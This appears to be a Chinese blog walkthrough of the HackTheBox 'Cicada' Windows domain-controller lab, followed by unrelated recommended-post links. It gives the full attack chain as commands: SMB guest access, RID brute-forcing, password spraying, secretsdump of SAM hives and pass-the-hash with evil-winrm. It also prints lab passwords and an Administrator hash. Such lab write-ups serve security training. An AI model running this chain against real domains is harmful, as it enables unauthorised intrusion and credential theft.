域渗透入门靶机之HTB-Cicada

easy难度的windows靶机

信息收集

端口探测

复制代码
nmap -sT --min-rate 10000 -p- 10.10.11.35 -oA ./port

发现开放了53,88,389等端口,推测为域控

进一步信息收集,对爆破的端口进行更加详细的扫描

小tips:对于众多的端口,可以借助awk&grep处理一下便于操作

复制代码
grep open port.nmap | awk -F'/' '{print $1}' | paste -sd ','
ports=$(grep open port.nmap | awk -F '/' '{print $1}' | paste -sd ',')
echo $ports

对端口进行详细扫描:

复制代码
sudo nmap -sTVC -O -p$ports 10.10.11.35

看到了主域名和二级域名,先写入/etc/hosts

大致看了下信息,决定先从smb服务进行渗透,看看是否有匿名登录之类的

SMB渗透

复制代码
crackmapexec smb 10.10.11.35 -u 'guest' -p ''  --shares

分别对HR和IPC$进行查看

复制代码
smbclient -N //10.10.11.35/HR
smbclient -N //10.10.11.35/IPC$

在HR下发现txt,获得密码:Cicada$M6Corpb*@Lp#nZp!8

在拿到密码后,我们需要找到AD中的有效用户,便于进一步利用

有效用户枚举

通过前面nmap的扫描发现有Kerberos服务以及ldap

借助kerbrute爆破有效用户

https://github.com/ropnop/kerbrute

这个工具是利pre-authentication机制来判断用户名是否有效

复制代码
./kerbrute_linux_amd64 userenum --dc 10.10.11.35 -d cicada.htb xato-net-10-million-usernames.txt

一无所获,也可能是字典的原因,我们也尝试利用LDAP服务来爆破用户名,可以借助ldapnomnom这个工具去爆破,但我们并不知道有效用户的格式,因此决定换一种方法,借助crackmapexec中的--rid-brute参数来寻找有效用户

借助crackmapexec

RID 是在 Windows 域中,每个用户账户、组账户和计算机账户都拥有的唯一标识符。一个完整的 Windows SID(Security Identifier)由多个部分组成,其中包括一个 RID ,RID 用于唯一标识 Windows 域内的一个对象

当我们指定--rid-brute参数,crackmapexec会自动地尝试一系列不同的 RID 值,并通过它们来暴力破解账户密码。通常,我们可以利用该方法用于在目标机器上尝试找到有效的用户账户

复制代码
crackmapexec smb 10.10.11.35 -u 'guest' -p '' --rid-brute

我们肯定是想要用户,因此使用grep过滤一下

复制代码
crackmapexec smb 10.10.11.35 -u 'guest' -p '' --rid-brute | grep 'SidTypeUser'

最终获得一组用户保存为user_list,考虑密码喷洒

密码喷洒

复制代码
crackmapexec smb 10.10.11.35 -u user_list -p 'Cicada$M6Corpb*@Lp#nZp!8'

成功获得一组凭据:michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8

以这组凭据枚举一下smb服务

一个一个查看后发现并没什么可利用的,借助enum4linux来枚举一下

又发现了一组凭据:david.orelious:aRt$Lp#7t*VQ!3

在DEV下发现Backup_script.ps1,又发现了一组凭据

建立立足点

靶机开放了5985端口,手里也有三组凭据,一个一个尝试一下,最后通过emily.oscars用户建立立足点

权限提升

比较常见的一种提权方法

跟着模板打一下就行

复制代码
secretsdump.py -sam sam -system system LOCAL

成功获得Administrator的hash

复制代码
evil-winrm -i 10.10.11.35 -u 'Administrator' -H '2b87e7c93a3e8a0ea4a581937016f341'

总结

前期通过信息收集,发现smb存在匿名登录,在'Notice from HR.txt'中发现了默认密码,然后进一步信息收集,去寻找有效用户,通过crackmapexec的--rid-brutr参数,爆破出了一组用户,然后进行密码喷洒获得一组凭据,michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8,利用这组凭据进行信息收集,利用enum4linux工具在枚举时又获得了david.orelious:aRt$Lp#7t*VQ!3,利用david用户登录smb服务,在DEV下获得ps1文件里面包含了另一组凭据,最后利用该组凭据建立立足点,借助SeBackupPrivilege完成权限提升

相关推荐
码农12138号3 小时前
BUUCTF在线评测-练习场-WebCTF习题[GXYCTF2019]BabyUpload1-flag获取、解析
web安全·网络安全·文件上传漏洞·buuctf·解析漏洞
Johny_Zhao4 小时前
Docker + CentOS 部署 Zookeeper 集群 + Kubernetes Operator 自动化运维方案
linux·网络安全·docker·信息安全·zookeeper·kubernetes·云计算·系统运维
独行soc10 小时前
#渗透测试#批量漏洞挖掘#HSC Mailinspector 任意文件读取漏洞(CVE-2024-34470)
linux·科技·安全·网络安全·面试·渗透测试
Whoisshutiao12 小时前
网安-XSS-pikachu
前端·安全·网络安全
游戏开发爱好者81 天前
iOS重构期调试实战:架构升级中的性能与数据保障策略
websocket·网络协议·tcp/ip·http·网络安全·https·udp
安全系统学习1 天前
系统安全之大模型案例分析
前端·安全·web安全·网络安全·xss
A5rZ1 天前
Puppeteer 相关漏洞-- Google 2025 Sourceless
网络安全
Bruce_Liuxiaowei2 天前
常见高危端口风险分析与防护指南
网络·网络安全·端口·信息搜集
2501_916013742 天前
iOS 多线程导致接口乱序?抓包还原 + 请求调度优化实战
websocket·网络协议·tcp/ip·http·网络安全·https·udp
头发那是一根不剩了2 天前
双因子认证(2FA)是什么?从零设计一个安全的双因子登录接口
网络安全·系统设计·身份认证